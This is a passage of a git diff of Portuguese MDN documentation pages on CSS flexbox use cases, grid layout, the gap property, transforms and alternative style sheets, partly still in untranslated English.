A recent addition to the Box Alignment specification has been the {{cssxref("row-gap")}} and {{cssxref("column-gap")}} properties, long with the shorthand {{cssxref("gap")}}. These properties were initially defined in the CSS Grid specification and named grid-row-gap, grid-column-gap and grid-gap. They have been renamed and moved to Box Alignment in order that they can be used in all layout methods — this will ultimately include flexbox. Until browsers implement the gap properties for flexbox, {{cssxref("margin")}}s have to be used to create gaps between items.

- -

Modos de Gravação

- -

In the Basic concepts of flexbox article, I explained that flexbox is writing mode aware. Writing modes are fully detailed in the CSS Writing Modes specification, which details how CSS supports the various different writing modes that exist internationally. We need to be aware of how this will impact our flex layouts as writing mode changes the direction that blocks are laid out in our document. Understanding block and inline directions is key to new layout methods.

- -

It is worth noting that we might want to change the writing mode of our document for reasons other than publishing content in a language that uses a different writing mode. See this article for a full description of writing modes and ways to use them, both for content in other languages and for creative reasons. 

- -

Os modes de gravação

- -

The writing modes specification defines the following values of the {{cssxref("writing-mode")}} property, which serve to change the direction that blocks are laid out on the page, to match the direction that blocks lay out when content is formatted in that particular writing mode. You can change the live example below to these modes in order to see what happens to the flex layout.

- - - -

{{EmbedGHLiveSample("css-examples/flexbox/relationship/writing-modes.html", '100%', 360)}} 

- -

Note that sideways-rl and sideways-lr have support only in Firefox currently. There are also some known issues with regard to writing-mode and flexbox. You can see more information on browser support in the MDN documentation for writing-mode. However if you are planning on using writing modes in your layout, carefully testing the results is advisable — not least because it would be easy to make things hard to read!

- -

Note that you would not normally use CSS and the writing-mode property to change an entire document to another writing mode. This would be done via HTML, by add a dir and lang attribute to the html element to indicate the document language and default text direction. This would mean that the document would display correctly even if CSS did not load.

- -

Flexbox e outros métodos de layout

- -

The flexbox specification contains a definition of what happens if an item uses another layout method and then becomes a flex item. For example, if an item is floated and then its parent becomes a flex container. Or, how a flex container behaves as part of layout.

- -

An element set to display: flex behaves in most ways like any other block level container that establishes a containing block. Floats will not intrude, and the containers' margins will not collapse.

- -

With regard to flex items, if an item was floated or cleared and then becomes a flex item due to the parent having display: flex applied, the floating and clearing will no longer happen, and the item will not be taken out of normal flow in the way that floats are. If you have used the {{cssxref("vertical-align")}} property, as used with inline-block or table layout for alignment, this will no longer affect the item and you can use the alignment properties of flexbox instead.

- -

In this next live example the child elements have been floated, and then their container has had display: flex added. If you remove display: flex, you should see that the .box element collapses as we have no clearing applied. This demonstrates that the float is happening. Re-apply display: flex and the collapsing does not happen. This is because the items no longer have a float applied, as they have been transformed into flex items.

- -

{{EmbedGHLiveSample("css-examples/flexbox/relationship/floats.html", '100%', 430)}}

- -

Flexbox e Layout de Grelha

- -

CSS Grid Layout and Flexbox generally act in the same way with regards to overwriting other methods. You might however want to use flexbox as a fallback for grid layout, as there is better support for flexbox in older browsers. This approach works very well. If a flex item becomes a grid item, then the flex properties that may have been assigned to the child elements will be ignored.

- -

You can use the Box Alignment properties across both layout methods, so using flexbox as a fallback for grid layout can work very well.

- -

Flex e grelha — qual é a diferença?

- -

A common question is to ask what the difference is between Flexbox and CSS Grid Layout — why do we have two specifications that sometimes appear to be doing the same thing as each other?

- -

The most straightforward answer to this question is defined in the specifications themselves. Flexbox is a one-dimensional layout method whereas Grid Layout is a two-dimensional layout method. In the below example I have a flex layout. As already described in the Basic concepts article, flex items can be allowed to wrap but, once they do so, each line becomes a flex container of its own. When space is distributed flexbox does not look at the placement of items in other rows and tries to line things up with each other.

- -

{{EmbedGHLiveSample("css-examples/flexbox/relationship/flex-layout.html", '100%', 750)}}

- -

If we create a very similar layout using Grid, we can control the layout in both rows and columns.

- -

{{EmbedGHLiveSample("css-examples/flexbox/relationship/grid-layout.html", '100%', 700)}}

- -

These examples point to another key differences between these layout methods. In Grid Layout you do the majority of sizing specification on the container, setting up tracks and then placing items into them. In flexbox, while you create a flex container and set the direction at that level, any control over item sizing needs to happen on the items themselves.

- -

In some cases you could happily use either layout method, but as you become confident with both you will find each one suiting different layout needs, and you will end up with both methods in your CSS. There is rarely a right or wrong answer.

- -

As a rule of thumb, if you are adding widths to flex items in order to make items in one row of a wrapped flex container line up with the items above them you really want two-dimensional layout. In this case it is likely that the component would be better laid out using CSS Grid Layout. It isn't the case that you should use flexbox for small components and grid layout for larger ones; a tiny component can be two dimensional, and a large layout can be represented better with layout in one dimension. Try things out — we have a choice in layout method for the first time, so take advantage of it.

- -

For more comparisons of grid and flexbox see the article Relationship of Grid Layout to other layout methods. This article details many of the ways that Grid Layout differs from flex layout, and demonstrates some of the extra functionality you get when using Grid Layout such as layering of items on the grid. This may also help in your decision as to which layout method to use.

- -

Flexbox e exibição: conteúdos

- -

The contents value of the {{cssxref("display")}} property is a new value that is described in the spec as follows:

- -
-

“The element itself does not generate any boxes, but its children and pseudo-elements still generate boxes as normal. For the purposes of box generation and layout, the element must be treated as if it had been replaced with its children and pseudo-elements in the document tree.”

-
- -

This value of display controls box generation, and whether the element should generate a box that we can style and see on the page, or whether instead the box it would normally create should be removed and the child elements essentially moved up to participate in whatever layout method the parent would have been part of. This is much easier to see with an example.

- -

In the following live example I have a flex container with three child elements. One of these flex items has two elements nested inside it, which would not ordinarily participate in flex layout. Flex layout only applies to the direct children of a flex container.

- -

By adding display: contents to the wrapper around the nested elements, you can see that that item has disappeared from the layout, allowing the two sub-children to be laid out as if they were direct children of the flex container. You can try removing the display: contents line to see it return.

- -

Note that this only removes the box from the layout; the sub-children don’t become direct children in any other way. You can see that as I have used a direct child selector to add the background and borders to the flex items, this has not been applied to our nested children. They have been laid out as flex items, but as they are not direct children they do not get the other styling.

- -

Also, having removed the box you cannot then use it to — for example — add a background colour behind the nested sub children. If you remove display: contents in this live example you will see that the direct child we are removing has an orange background colour. This also disappears when the box disappears. 

- -

{{EmbedGHLiveSample("css-examples/flexbox/relationship/display-contents.html", '100%', 650)}}

- -

Browser support for display:contents is limited and required for this demo to work. Firefox supports display: contents already, and the value is being implemented in Chrome. Once there is better browser support this feature will be very useful in circumstances where you need the markup for semantic reasons but do not want to display the box that it would generate by default.

diff --git a/files/pt-pt/web/css/css_flexible_box_layout/typical_use_cases_of_flexbox/index.html b/files/pt-pt/web/css/css_flexible_box_layout/typical_use_cases_of_flexbox/index.html new file mode 100644 index 0000000000..cd89209634 --- /dev/null +++ b/files/pt-pt/web/css/css_flexible_box_layout/typical_use_cases_of_flexbox/index.html @@ -0,0 +1,143 @@ +--- +title: Casos de utilização típicos do Flexbox +slug: Web/CSS/CSS_Flexible_Box_Layout/casos_de_utilizacao_tipicos_do_flexbox +tags: + - CSS + - Caixa Flexível + - Flexible Box + - Guía + - flexbox + - padrões + - utilizações comuns +translation_of: Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox +--- +

{{CSSRef}}

+ +

Neste guia, nós vamos dar uma vista de olhos em alguns dos casos de utilização comuns para o flexbox - esses lugares onde faz mais sentido do que outro método de layout .

+ +

Porque escolher flexbox?

+ +

In a perfect world of browser support, the reason you'd choose to use flexbox is because you want to lay a collection of items out in one direction or another. As you lay out your items you want to control the dimensions of the items in that one dimension, or control the spacing between items. These are the uses that flexbox was designed for. You can read more about the difference between flexbox and CSS Grid Layout in Relationship of Flexbox to other layout methods, where we discuss how flexbox fits into the overall picture of CSS Layout.

+ +

In reality we also often use Flexbox for jobs that might be better done by Grid Layout, as a fallback for Grid, and also in order to get alignment capabilities. This is something that may well change once Box Alignment is implemented in Block Layout. In this guide I look at some of the typical things you might use flexbox for today.

+ + + +

A common pattern for navigation is to have a list of items displayed as a horizontal bar. This pattern, as basic as it seems, was difficult to achieve before flexbox. It forms the most simple of flexbox examples, and could be considered the ideal flexbox use case.

+ +

When we have a set of items that we want to display horizontally, we may well end up with additional space. We need to decide what to do with that space, and have a couple of options. We either display the space outside of the items — therefore spacing them out with white space between or around them — or we absorb the extra space inside the items and therefore need a method of allowing the items to grow and take up this space.

+ +

Espaço distribuído fora dos itens

+ +

To distribute the space between or around the items we use the alignment properties in flexbox, and the {{cssxref("justify-content")}} property. You can read more about this property in Aligning Items in a flex container, which deals with aligning items on the main axis.

+ +

In the below live example we display the items at their natural size and by using justify-content: space-between make equal amounts of space between the items. You can change how the space is distributed using the space-around value, or where supported, space-evenly. You could also use flex-start to place the space at the end of the items, flex-end to place it before them, or center to centre the navigation items.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/navigation.html", '100%', 550)}}

+ +

Espaço distribuído dentro dos itens

+ +

A different pattern for navigation would be to distribute the available space within the items themselves, rather than create space between them. In this case we would use the {{cssxref("flex")}} properties to allow items to grow and shrink in proportion to one another as described in Controlling ratios of flex items along the main axis.

+ +

If I wanted all of my navigation items to have equal width, then I might use flex: auto, which is the shorthand for flex: 1 1 auto — all items grow and shrink from a flex-basis of auto. This would mean that the longer item would have more space.

+ +

In the live example below try changing flex: auto to flex: 1. This is the shorthand for flex: 1 1 0 and causes all of the items become the same width, as they are working from a flex-basis of 0 allowing all of the space to be distributed evenly.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/navigation-flex.html", '100%', 550)}}

+ +

Dividir navegação

+ +

Another way to align items on the main axis is to use auto margins. This enables the design pattern of a navigation bar where one group of items are aligned left and another group aligned right.

+ +

Here we are using the auto margins technique described in Using auto margins for main axis alignment. The items are aligned on the main axis with flex-start as this is the initial behaviour of flexbox, and we are aligning the item on the right by giving it a left margin of auto. You can move the class from one item to another to change where the split happens.

+ +

Also in this example we are using margins on the flex items to create a gap between items, and a negative margin on the container in order that the items still remain flush with the right and left edges. Until the gap properties from the Box Alignment specification are implemented in flexbox, we have to use margins in this way if we want to create a gutter between items.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/split-navigation.html", '100%', 550)}}

+ +

Centrar item

+ +

Before flexbox, developers would joke that the hardest problem in web design was vertical centering. This has now been made straightforward using the alignment properties in flexbox, as the following live example shows.

+ +

You can play with the alignment, aligning the item to the start with flex-start or end with flex-end.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/center.html", '100%', 700)}}

+ +

In the future we may not need to make a container a flex container just to centre a single item, as the Box Alignment properties will ultimately be implemented in Block layout. For now however, if you need to properly centre one thing inside another, flexbox is the way to do it. As in the above example, make a container into a flex container, and then use either align-items on the parent element or target the flex item itself with align-self.

+ + + +

Whether you use flexbox or CSS Grid to lay out a list of card components, these layout methods only work on direct children of the flex or grid component. This means that if you have variable amounts of content, the card will stretch to the height of the grid area or flex container. Any content inside uses regular block layout, meaning that on a card with less content the footer will rise up to the bottom of the content rather than stick to the bottom of the card.

+ +

Two card components showing that the internals of the component do not stretch with the wrapper.

+ +

Flexbox can solve this. We make the card a flex container, with {{cssxref("flex-direction")}}: column. We then set the content area to flex: 1, which is the shorthand for flex: 1 1 auto — the item can grow and shrink from a flex basis of auto. As this is the only item that can grow, it takes up all available space in the flex container and pushes the footer to the bottom. If you remove the flex property from the live example you will see how the footer then moves up to sit directly under the content.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/cards.html", '100%', 800)}}

+ +

Objetos de multimédia

+ +

The media object is a common pattern in web design — this pattern has an image or other element to one side and text to the right. Ideally a media object should be able to be flipped — moving the image from left to right.

+ +

We see this pattern everywhere, used for comments, and anywhere we need to display images and descriptions. With flexbox we can allow the part of the media object containing the image to take its sizing information from the image, and then the body of the media object flexes to take up the remaining space.

+ +

In the live example below you can see our media object. I have used the alignment properties to align the items on the cross axis to flex-start, and then set the .content flex item to flex: 1. As with our column layout card pattern above, using flex: 1 means this part of the card can grow.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/media.html", '100%', 600)}}

+ +

Some things that you might want to try in this live example relate to the different ways you might want to constrain the media object in your design.

+ +

To prevent the image growing too large, add a {{cssxref("max-width")}} to the image. As that side of the media object is using the initial values of flexbox it can shrink but not grow, and uses a flex-basis of auto. Any {{cssxref("width")}} or max-width applied to the image will become the flex-basis.

+ +
.image img {
+  max-width: 100px;
+}
+
+ +

You could also allow both sides to grow and shrink in proportion. If you set both sides to flex: 1, they will grow and shrink from a {{cssxref("flex-basis")}} of 0, so you will end up with two equal-sized columns. You could either take the content as a guide and set both to flex: auto, in which case they would grow and shrink from the size of the content or any size applied directly to the flex items such as a width on the image.

+ +
.media .content {
+  flex: 1;
+  padding: 10px;
+}
+
+.image {
+  flex: 1;
+}
+ +

You could also give each side different {{cssxref("flex-grow")}} factors, for example setting the side with the image to flex: 1 and the content side to flex: 3. This will mean they use a flex-basis of auto but distribute that space at different rates according to the flex-grow factor you have assigned. The flex properties we use to do this are described in detail in the guide Controlling ratios of flex items along the main axis.

+ +
.media .content {
+  flex: 3;
+  padding: 10px;
+}
+
+.image {
+  flex: 1;
+}
+ +

Flipping the media object

+ +

To switch the display of the media object so that the image is on the right and the content is on the left we can use the flex-direction property set to row-reverse. The media object now displays the other way around. I have achieved this in the live example by adding a class of flipped alongside the existing .media class. This means you can see how the display changes by removing that class from the html.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/media-flipped.html", '100%', 650)}}

+ +

Controlos de formulário

+ +

Flexbox is particularly useful when it comes to styling form controls. Forms have lots of markup and lots of small elements that we typically want to align with each other. A common pattern is to have an {{htmlelement("input")}} element paired with a {{htmlelement("button")}}, perhaps for a search form or where you simply want your visitor to enter an email address.

+ +

Flexbox makes this type of layout easy to achieve. I have contained my <button> and <input> field in a wrapper which I have given a border and set to display: flex. I have then set the align-items property to center so that the fields stay aligned with each other. I then use the flex properties to allow the <input> field to grow, while the button does not grow. This means we have a pair of fields, with the text field growing and shrinking as the available space changes.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/input-button.html", '100%', 550)}}

+ +

You could add a label or icon to the left as easily as we popped the button onto the right. I have added a label, and other than some styling for background colour I didn’t need to change the layout. The stretchy input field now has a little less space to play with but it uses the space left after the two items are accounted for.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/label-input-button.html", '100%', 550)}}

+ +

Patterns like this can make it much easier to create a library of form elements for your design, which easily accommodate additional elements being added. You are taking advantage of the flexibility of flexbox by mixing items that do not grow with those that do.

+ +

Conclusão

+ +

While exploring the above patterns you have hopefully started to see how you can think through the best way to use flexbox to achieve the result that you want. Quite often you have more than one choice. Mix items that cannot stretch with those that can, use the content to inform the size, or allow flexbox to share out space in proportion. It’s up to you. 

+ +

Think about the best way to present the content that you have and then see how flexbox or other layout methods can help you achieve it.

diff --git a/files/pt-pt/web/css/css_grid_layout/index.html b/files/pt-pt/web/css/css_grid_layout/index.html new file mode 100644 index 0000000000..db142d2dde --- /dev/null +++ b/files/pt-pt/web/css/css_grid_layout/index.html @@ -0,0 +1,250 @@ +--- +title: CSS - Layout de Grade +slug: Web/CSS/layout_de_grelha_css +tags: + - CSS + - Grades + - Layout + - Layout de Grade + - Referencia + - Resumo +translation_of: Web/CSS/CSS_Grid_Layout +--- +

CSS - Layout de Grade destaca-se em dividir uma página em regiões principais, ou definir a relação em termos de tamanho, posição e camada, entre partes de um controle criado a partir de HTML primitivas. 
+  
+ Tal como as tabelas, o layout de grelha permite que um autor alinhe os elementos em colunas e linhas. No entanto, são possíveis muitos mais layouts ou mais fáceis com a grelha de CSS do que eram com as tabelas. Por exemplo, os elementos filhos de um recipiente de grelha poderão posicionar-se a eles mesmos, e assim eles realmente se sobrepõem e a camada, similar aos elementos posicionados do CSSs..

+ +

Exemplo básico

+ +

O exemplo abaixo mostra uma grelha de faixa com três colunas, com novas linhas criadas com um mínimo de 100 píxeis e um máximo de auto. Os itens foram colocados na grelha utilizando o posicionamento baseado em linha .

+ +
+ + +

HTML

+ +
<div class="wrapper">
+  <div class="one">One</div>
+  <div class="two">Two</div>
+  <div class="three">Three</div>
+  <div class="four">Four</div>
+  <div class="five">Five</div>
+  <div class="six">Six</div>
+</div>
+ +

CSS

+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-gap: 10px;
+  grid-auto-rows: minmax(100px, auto);
+}
+.one {
+  grid-column: 1 / 3;
+  grid-row: 1;
+}
+.two {
+  grid-column: 2 / 4;
+  grid-row: 1 / 3;
+}
+.three {
+  grid-column: 1;
+  grid-row: 2 / 5;
+}
+.four {
+  grid-column: 3;
+  grid-row: 3;
+}
+.five {
+  grid-column: 2;
+  grid-row: 4;
+}
+.six {
+  grid-column: 3;
+  grid-row: 4;
+}
+
+ +

{{ EmbedLiveSample('example', '500', '440') }}

+
+ +

Referência

+ +

CSS - propriedades

+ +
+ +
+ +

CSS - funções

+ +
+ +
+ +

CSS - tipos de dados

+ +
+ +
+ +

Glossário - entradas

+ +
+ +
+ +

Guias

+ +
+ +
+ +

Recursos externos

+ + + +

Especificações

+ + + + + + + + + + + + + + + + +
EspecificaçãoEstadoComentário
{{ SpecName('CSS3 Grid') }}{{ Spec2('CSS3 Grid') }}Initial definition.
+ + diff --git a/files/pt-pt/web/css/css_tipos/index.html b/files/pt-pt/web/css/css_tipos/index.html deleted file mode 100644 index ea7049f5a4..0000000000 --- a/files/pt-pt/web/css/css_tipos/index.html +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: CSS - Tipos de datos básicos -slug: Web/CSS/CSS_Tipos -tags: - - CSS - - Referencia - - Resumo - - Sinopse - - Tipos de Dados de CSS -translation_of: Web/CSS/CSS_Types ---- -
{{CssRef}}
- -

CSS - tipos de dados básicos define typical values (including keywords and units) accepted by CSS properties and functions. They are a special kind of component value type.

- -

In formal syntax, data types are denoted by a keyword placed between the inequality signs "<" and ">".

- -

Referência

- -
- -
- -

Especificações

- - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{ SpecName('CSS3 Values') }}{{ Spec2('CSS3 Values') }}Initial definition.
diff --git a/files/pt-pt/web/css/css_transforms/using_css_transforms/index.html b/files/pt-pt/web/css/css_transforms/using_css_transforms/index.html new file mode 100644 index 0000000000..62190c37dc --- /dev/null +++ b/files/pt-pt/web/css/css_transforms/using_css_transforms/index.html @@ -0,0 +1,34 @@ +--- +title: CSS/Usando_transformações_CSS +slug: Web/CSS/Usando_transformações_CSS +translation_of: Web/CSS/CSS_Transforms/Using_CSS_transforms +--- +

{{ gecko_minversion_header("1.9.1") }}

+

Firefox 3.5 (Gecko 1.9.1) introduz suporte a transformações CSS; estas são implementadas utilizando um conjunto de propriedades CSS permitindo a você aplicar transformações lineares a elementos HTML. Essas transformações são baseadas sobre o design proposto pelo time WebKit e incluem rotar, inclinar, escalar e usar translação. Enquanto isso, é um W3C working draft.

+

Mozilla atualmente suporta as propriedades {{ Cssxref("-moz-transform") }} e {{ Cssxref("-moz-transform-origin") }}. Para detalhes sobre onde funções de transformação são suportadas, veja o artigo CSS transform functions (en).

+
+ Nota: Até o momento não há suporte ao eixo Z, portanto, perspectiva, rotação 3D, escala 3D, e transformações 3D não são suportadas.
+

Exemplo: Rotação

+

Este exemplo cria um iframe que lhe permite utilizar a página inicial do Google, girada 90 graus sobre seu canto inferior esquerdo.

+

Visualizar exemplo
+ Visualizar screenshot do exemplo

+
<div style="-moz-transform: rotate(90deg); -moz-transform-origin: bottom left;">
+  <iframe src="http://www.google.com/" width="500px" height="600px" />
+</div>
+
+

Exemplo: Inclinação e translação

+

Este exemplo cria um iframe que lhe permite utilizar a página inicial do Google, inclinada 10 graus no eicho X.

+

Visualizar exemplo
+ Visualizar screenshot do exemplo

+
<div style="-moz-transform: skewx(10deg) translatex(150px);
+            -moz-transform-origin: bottom left;">
+  <iframe src="http://www.google.com/" width="600px" height="500px" />
+</div>
+
+

Veja também

+ +

{{ languages( { "ja": "ja/CSS/Using_CSS_transforms" } ) }}

diff --git a/files/pt-pt/web/css/css_types/index.html b/files/pt-pt/web/css/css_types/index.html new file mode 100644 index 0000000000..ea7049f5a4 --- /dev/null +++ b/files/pt-pt/web/css/css_types/index.html @@ -0,0 +1,65 @@ +--- +title: CSS - Tipos de datos básicos +slug: Web/CSS/CSS_Tipos +tags: + - CSS + - Referencia + - Resumo + - Sinopse + - Tipos de Dados de CSS +translation_of: Web/CSS/CSS_Types +--- +
{{CssRef}}
+ +

CSS - tipos de dados básicos define typical values (including keywords and units) accepted by CSS properties and functions. They are a special kind of component value type.

+ +

In formal syntax, data types are denoted by a keyword placed between the inequality signs "<" and ">".

+ +

Referência

+ +
+ +
+ +

Especificações

+ + + + + + + + + + + + + + + + +
EspecificaçãoEstadoComentário
{{ SpecName('CSS3 Values') }}{{ Spec2('CSS3 Values') }}Initial definition.
diff --git a/files/pt-pt/web/css/folhas_de_estilo_alternativas/index.html b/files/pt-pt/web/css/folhas_de_estilo_alternativas/index.html deleted file mode 100644 index 250bb3eef9..0000000000 --- a/files/pt-pt/web/css/folhas_de_estilo_alternativas/index.html +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Folhas de estilo alternativas -slug: Web/CSS/Folhas_de_estilo_alternativas -translation_of: Web/CSS/Alternative_style_sheets ---- -

O Firefox oferece suporte a folhas de estilo alternativa. AS páginas que disponibilizam folhas de estilo alternativas permitem que o usuário selecione o estilo que a página será mostrada usando o submenu Exibir>Estilos da página. Fornecendo uma maneira de visualizar várias versões de uma mesma página, com base em suas necessidades e preferências.

-

Um site pode usar a tag link para adicionar as folhas de estilo alternativa.

-

Por exemplo:

-
<link href="padrao.css" rel="stylesheet" type="text/css" title="Estilo padrao">
-<link href="estilo1.css" rel="alternate stylesheet" type="text/css" title="Estilo 1">
-<link href="estilo2.css" rel="alternate stylesheet" type="text/css" title="Estilo 2">
-
-

Oferecendo essas três folhas de estilo, disponibilizaremos ao usuário as opções "Estilo Padrão", "Estilo 1" e "Estilo 2" no submenu. Quando o usuário selecionar um dos estilos, a página imediatamente será recarregada usando o estilo selecionado.

-

O valor do atributo title na tag link nomeia cada opção de estilo. Quando o valor deste atributo é repetido, entende-se como parte da mesma opção. Caso a tag link não possua o atributo title, a folha correspondente será sempre aplicada.

-

Use rel="stylesheet" para aplicar as folhas correspondente ao estilo padrão, e rel="alternate stylesheet" para aplicar as folhas correspondente aos estilos alternativos. Isso permite que o Firefox diferencie as folhas de estilo padrão das alternativas e permite que os navegadores que não suportam folhas de estilo alternativa apliquem somente as folhas do estilo padrão.

-

 

-

Exemplo

-

Clique aqui para ver um exemplo.

-

 

-

Especificação

- diff --git a/files/pt-pt/web/css/gap/index.html b/files/pt-pt/web/css/gap/index.html new file mode 100644 index 0000000000..06c9881278 --- /dev/null +++ b/files/pt-pt/web/css/gap/index.html @@ -0,0 +1,178 @@ +--- +title: grid-gap +slug: Web/CSS/grid-gap +translation_of: Web/CSS/gap +translation_of_original: Web/CSS/grid-gap +--- +

A propriedade CSS grid-gap é uma propriedade de taquigrafia para {{cssxref("grid-row-gap")}} e {{cssxref("grid-column-gap")}} especificando os canais entre as linhas de grelha e as colunas.

+ +
/* One <length> value */
+grid-gap: 20px;
+grid-gap: 1em;
+grid-gap: 3vmin;
+grid-gap: 0.5cm;
+
+/* One <percentage> value */
+grid-gap: 16%;
+grid-gap: 100%;
+
+/* Two <length> values */
+grid-gap: 20px 10px;
+grid-gap: 1em 0.5em;
+grid-gap: 3vmin 2vmax;
+grid-gap: 0.5cm 2mm;
+
+/* One or two <percentage> values */
+grid-gap: 16% 100%;
+grid-gap: 21px 82%;
+
+/* Global values */
+grid-gap: inherit;
+grid-gap: initial;
+grid-gap: unset;
+
+ +

{{cssinfo}}

+ +

Sintaxe

+ +

This property is specified as a value for <'grid-row-gap'> followed optionally by a value for <'grid-column-gap'>. If <'grid-column-gap'> is omitted, it’s set to the same value as <'grid-row-gap'>.

+ +

<'grid-row-gap'> and <'grid-column-gap'> are each specified as a <length> or a <percentage>.

+ +

Valores

+ +
+
<length>
+
Is the width of the gutter separating the grid lines.
+
<percentage>
+
Is the width of the gutter separating the grid lines, relative to the dimension of the element.
+
+ +

Sintaxe formal

+ +
{{csssyntax}}
+ +

Exemplo

+ +

Conteúdeo de HTML

+ +
<div id="grid">
+  <div></div>
+  <div></div>
+  <div></div>
+  <div></div>
+  <div></div>
+  <div></div>
+  <div></div>
+  <div></div>
+  <div></div>
+</div>
+ +

Conteúdo de CSS

+ +
#grid {
+  display: grid;
+  height: 200px;
+  grid-template: repeat(3, 1fr) / repeat(3, 1fr);
+  grid-gap: 20px 5px;
+}
+
+#grid > div {
+  background-color: lime;
+}
+
+ +

{{EmbedLiveSample("Example", "100%", "200px")}}

+ +

Especificações

+ + + + + + + + + + + + + + + + +
EspecificaçãoEstadoComentário
{{SpecName("CSS3 Grid", "#propdef-grid-gap", "grid-gap")}}{{Spec2("CSS3 Grid")}}Definição inicial
+ +

Compatibilidade de navegador

+ +

 

+ + + +

{{Compat("css.properties.grid-gap")}}

+ +

 

+ +

Consulte também

+ + + + diff --git a/files/pt-pt/web/css/grid-gap/index.html b/files/pt-pt/web/css/grid-gap/index.html deleted file mode 100644 index 06c9881278..0000000000 --- a/files/pt-pt/web/css/grid-gap/index.html +++ /dev/null @@ -1,178 +0,0 @@ ---- -title: grid-gap -slug: Web/CSS/grid-gap -translation_of: Web/CSS/gap -translation_of_original: Web/CSS/grid-gap ---- -

A propriedade CSS grid-gap é uma propriedade de taquigrafia para {{cssxref("grid-row-gap")}} e {{cssxref("grid-column-gap")}} especificando os canais entre as linhas de grelha e as colunas.

- -
/* One <length> value */
-grid-gap: 20px;
-grid-gap: 1em;
-grid-gap: 3vmin;
-grid-gap: 0.5cm;
-
-/* One <percentage> value */
-grid-gap: 16%;
-grid-gap: 100%;
-
-/* Two <length> values */
-grid-gap: 20px 10px;
-grid-gap: 1em 0.5em;
-grid-gap: 3vmin 2vmax;
-grid-gap: 0.5cm 2mm;
-
-/* One or two <percentage> values */
-grid-gap: 16% 100%;
-grid-gap: 21px 82%;
-
-/* Global values */
-grid-gap: inherit;
-grid-gap: initial;
-grid-gap: unset;
-
- -

{{cssinfo}}

- -

Sintaxe

- -

This property is specified as a value for <'grid-row-gap'> followed optionally by a value for <'grid-column-gap'>. If <'grid-column-gap'> is omitted, it’s set to the same value as <'grid-row-gap'>.

- -

<'grid-row-gap'> and <'grid-column-gap'> are each specified as a <length> or a <percentage>.

- -

Valores

- -
-
<length>
-
Is the width of the gutter separating the grid lines.
-
<percentage>
-
Is the width of the gutter separating the grid lines, relative to the dimension of the element.
-
- -

Sintaxe formal

- -
{{csssyntax}}
- -

Exemplo

- -

Conteúdeo de HTML

- -
<div id="grid">
-  <div></div>
-  <div></div>
-  <div></div>
-  <div></div>
-  <div></div>
-  <div></div>
-  <div></div>
-  <div></div>
-  <div></div>
-</div>
- -

Conteúdo de CSS

- -
#grid {
-  display: grid;
-  height: 200px;
-  grid-template: repeat(3, 1fr) / repeat(3, 1fr);
-  grid-gap: 20px 5px;
-}
-
-#grid > div {
-  background-color: lime;
-}
-
- -

{{EmbedLiveSample("Example", "100%", "200px")}}

- -

Especificações

- - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName("CSS3 Grid", "#propdef-grid-gap", "grid-gap")}}{{Spec2("CSS3 Grid")}}Definição inicial
- -

Compatibilidade de navegador

- -

 

- - - -

{{Compat("css.properties.grid-gap")}}

- -

 

- -

Consulte também

- - - - diff --git a/files/pt-pt/web/css/layout_de_grelha_css/index.html b/files/pt-pt/web/css/layout_de_grelha_css/index.html deleted file mode 100644 index db142d2dde..0000000000 --- a/files/pt-pt/web/css/layout_de_grelha_css/index.html +++ /dev/null @@ -1,250 +0,0 @@ ---- -title: CSS - Layout de Grade -slug: Web/CSS/layout_de_grelha_css -tags: - - CSS - - Grades - - Layout - - Layout de Grade - - Referencia - - Resumo -translation_of: Web/CSS/CSS_Grid_Layout ---- -

CSS - Layout de Grade destaca-se em dividir uma página em regiões principais, ou definir a relação em termos de tamanho, posição e camada, entre partes de um controle criado a partir de HTML primitivas. 
-  
- Tal como as tabelas, o layout de grelha permite que um autor alinhe os elementos em colunas e linhas. No entanto, são possíveis muitos mais layouts ou mais fáceis com a grelha de CSS do que eram com as tabelas. Por exemplo, os elementos filhos de um recipiente de grelha poderão posicionar-se a eles mesmos, e assim eles realmente se sobrepõem e a camada, similar aos elementos posicionados do CSSs..

- -

Exemplo básico

- -

O exemplo abaixo mostra uma grelha de faixa com três colunas, com novas linhas criadas com um mínimo de 100 píxeis e um máximo de auto. Os itens foram colocados na grelha utilizando o posicionamento baseado em linha .

- -
- - -

HTML

- -
<div class="wrapper">
-  <div class="one">One</div>
-  <div class="two">Two</div>
-  <div class="three">Three</div>
-  <div class="four">Four</div>
-  <div class="five">Five</div>
-  <div class="six">Six</div>
-</div>
- -

CSS

- -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(3, 1fr);
-  grid-gap: 10px;
-  grid-auto-rows: minmax(100px, auto);
-}
-.one {
-  grid-column: 1 / 3;
-  grid-row: 1;
-}
-.two {
-  grid-column: 2 / 4;
-  grid-row: 1 / 3;
-}
-.three {
-  grid-column: 1;
-  grid-row: 2 / 5;
-}
-.four {
-  grid-column: 3;
-  grid-row: 3;
-}
-.five {
-  grid-column: 2;
-  grid-row: 4;
-}
-.six {
-  grid-column: 3;
-  grid-row: 4;
-}
-
- -

{{ EmbedLiveSample('example', '500', '440') }}

-
- -

Referência

- -

CSS - propriedades

- -
- -
- -

CSS - funções

- -
- -
- -

CSS - tipos de dados

- -
- -
- -

Glossário - entradas

- -
- -
- -

Guias

- -
- -
- -

Recursos externos

- - - -

Especificações

- - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{ SpecName('CSS3 Grid') }}{{ Spec2('CSS3 Grid') }}Initial definition.
